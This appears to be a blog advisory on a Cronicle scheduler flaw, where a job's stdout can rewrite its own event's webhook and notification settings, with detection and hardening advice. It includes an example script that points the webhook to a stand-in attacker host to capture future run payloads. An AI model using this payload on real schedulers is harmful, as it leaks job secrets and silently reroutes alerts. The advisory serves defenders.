A job that could edit its own schedule
Cronicle is a multi-server task scheduler teams reach for when crontab stops scaling: a web UI, job history, per-event webhooks and email notifications. In April 2026 it picked up a CVE worth understanding even if you never run it, because it exposes an assumption many schedulers share.
CVE-2026-39401 is a moderate missing-authorization bug affecting Cronicle up to and including 0.9.80, fixed in 0.9.111. A job's own output could rewrite the stored configuration of the event that launched it, and nothing checked whether the person who created that job was allowed to make the change.
How update_event reaches the stored config
Cronicle jobs talk back to the server over stdout. A plugin ends a run by printing a small JSON object with progress, an exit code, a status line. One key the server recognises there is update_event, and whatever object you put in it gets merged into the event's stored record in global/schedule with no check that the caller may edit the event.
That merge is the whole problem. A user who holds nothing more than create_events and run_events can write a job whose last line of output is a crafted update_event, and the next time it runs, it edits itself.
#!/bin/bash
# The scheduler runs this. Its final line of stdout is JSON the
# server parses — and merges straight into the event's own record.
echo '{"complete":1,"code":0,"update_event":{"web_hook":"https://attacker.example/hook"}}'
What an attacker can change
The two fields that matter here are the webhook URL and the notification address, because those are how the event tells a human something happened. Point web_hook at a server you control and every future run posts its full payload to you: script contents, environment variables, whatever the job carries. Change the notification email and the failure alerts follow. The event keeps running on schedule; only its reporting has moved.
Why this is a monitoring problem
It is easy to file this under security and move on. The more useful reading is that the channel a job uses to report is the same one it can rewrite. When "where this job's alerts go" is editable by the job, your alerting is only as trustworthy as the least-trusted thing that job runs.
The alerting loop closes on itself
A dead man's switch watches for the absence of a success signal and shouts to a fixed destination when it fails to arrive. Move the destination and the mechanism still fires, just into the void or someone else's inbox. You do not get an error. You get silence, the exact state a dead man's switch exists to break.
Job output as a control plane
Cronicle is not unusual. The pattern shows up wherever an orchestrator reads structured data out of a job and acts on it. Once stdout is parsed as instructions instead of logged as text, the line between a job's data and the scheduler's commands gets thin.
GitHub Actions hit a version of this years ago. Steps set outputs by printing ::set-output name=foo::bar to stdout, and a job whose output carried attacker-controlled text could inject workflow commands it was never meant to issue. GitHub deprecated that syntax and moved outputs to the $GITHUB_OUTPUT environment file, so writing an output became a deliberate file write, not a side effect of whatever a step echoed.
Detecting whether it happened
If you run Cronicle below 0.9.111, patching is only half the question. The other half is whether someone already used this. The stored schedule in global/schedule is your source of truth, so diff it against what you expect. Watch for a webhook or notification address nobody set, a stretch of missing notifications, or alerts landing somewhere you do not recognise. None of it is loud, which is the point.
Closing the gap
Upgrade and tighten permissions
Move to 0.9.111 or later, which adds the authorization check. Then look at who holds create_events and run_events, because this class of bug turns "can define and run a job" into "can edit event configuration." Fewer people with those rights means a smaller blast radius.
Keep alerting config out of the job's reach
The durable fix is architectural. Define schedules and notification targets in version control and reconcile the running config back to that, so a drift becomes an alert. Better still, put the thing that watches your jobs outside the jobs entirely: an external monitor whose check-in URL lives in the job's environment, not in a record the job's output can rewrite.
set -euo pipefail
/usr/local/bin/run-report.sh
# Check in with an out-of-band monitor. The job cannot edit where
# this ping goes; the URL is injected, not stored in the event.
curl -fsS --retry 3 "$CRONGUARD_PING_URL"
Treat job output as data, not commands
If you build the tooling yourself, never merge an arbitrary object from a job into stored state. Allowlist the fields a job may touch, authorize the change against the caller, and treat everything else on stdout as text to log. A job rewriting its own configuration is a decision a human should have signed off on.
Frequently asked questions about scheduler job-output trust
What exactly did CVE-2026-39401 let an attacker do? A Cronicle job could print an update_event object in its stdout JSON, and the server merged it into the launching event's stored configuration with no authorization check. A user who could create and run events could rewrite properties like the webhook URL and notification email, so future runs reported to an attacker instead of the owner.
Which Cronicle versions are affected and what is the fix? The flaw affects Cronicle up to and including 0.9.80 and is fixed in 0.9.111, which adds the missing check. If you cannot upgrade at once, restrict who holds create and run permissions to shrink the blast radius.
Why is this a monitoring risk and not only a security one? The fields the bug lets a job rewrite are the ones that carry alerts, so a job can change where its own notifications go. A rerouted webhook produces silence rather than an error, and silence is the hardest failure to notice.
Do other schedulers have the same weakness? Any scheduler that parses job output and acts on it shares the pattern; GitHub Actions deprecated its set-output stdout syntax for this reason. Treat job output as data to log, allowlist any field a job may change, and authorize the change rather than trusting the source.
How do I tell whether an event was already tampered with? Compare the running schedule against a known-good copy in version control, and look for webhook URLs or notification addresses nobody set on purpose. Reconciling against a trusted baseline is how you catch an edit built to stay quiet.
Further reading
- Cron Job Security: Hardening Scheduled Tasks Against Common Attacks
- Dead Man's Switch Monitoring: The Only Reliable Way to Watch Cron Jobs
- Cron Job Observability: Metrics, Logs, and Traces for Scheduled Tasks
Conclusion: A scheduler that lets a job rewrite its own configuration has handed the job control over its own alerts, and alerts you never receive are worse than none at all. Patch Cronicle, tighten who can define and run jobs, and keep the thing that watches your jobs — and the address it reports to — outside anything a job can touch.
Sources: Cronicle security advisory GHSA-5j3v-cq96-xw6v, CVE-2026-39401, and the GitHub Actions workflow commands documentation.